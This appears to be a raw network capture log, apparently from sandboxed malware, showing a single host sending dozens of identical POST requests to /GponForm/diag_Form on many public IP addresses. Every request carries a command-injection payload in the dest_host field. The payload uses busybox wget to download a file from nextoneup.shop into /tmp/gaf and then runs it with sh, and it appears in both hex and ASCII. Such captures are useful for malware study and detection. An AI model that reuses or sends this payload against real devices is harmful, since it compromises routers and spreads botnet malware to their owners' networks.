Apr 14, 2024 04:01:05.097553968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1435	192.168.2.13	42950	79.16.214.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097570896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.13	34096	94.112.243.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097584009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.13	39752	2.193.160.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097592115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.13	51158	5.88.37.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097613096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.13	55334	212.4.208.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097629070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.13	37162	210.77.29.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097631931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.13	48468	79.5.250.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097693920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.13	40278	178.143.206.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097700119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.13	34036	37.203.20.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097728968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.13	53242	37.120.212.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097763062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.13	49962	178.85.121.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097774982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.13	53736	212.53.103.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097778082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.13	50294	210.242.183.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097801924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.13	51742	117.238.227.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097805977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.13	35916	37.188.40.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097831964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.13	55948	212.150.94.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097842932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.13	53318	148.226.175.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097868919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.13	58556	94.157.44.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097873926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.13	47358	5.242.102.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097902060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.13	56714	202.17.22.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097920895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.13	56032	42.7.215.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097937107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.13	32960	109.232.212.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097953081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.13	45740	210.48.10.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097973108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1458	192.168.2.13	41760	117.73.142.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097995043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1459	192.168.2.13	57240	117.185.136.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098006964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

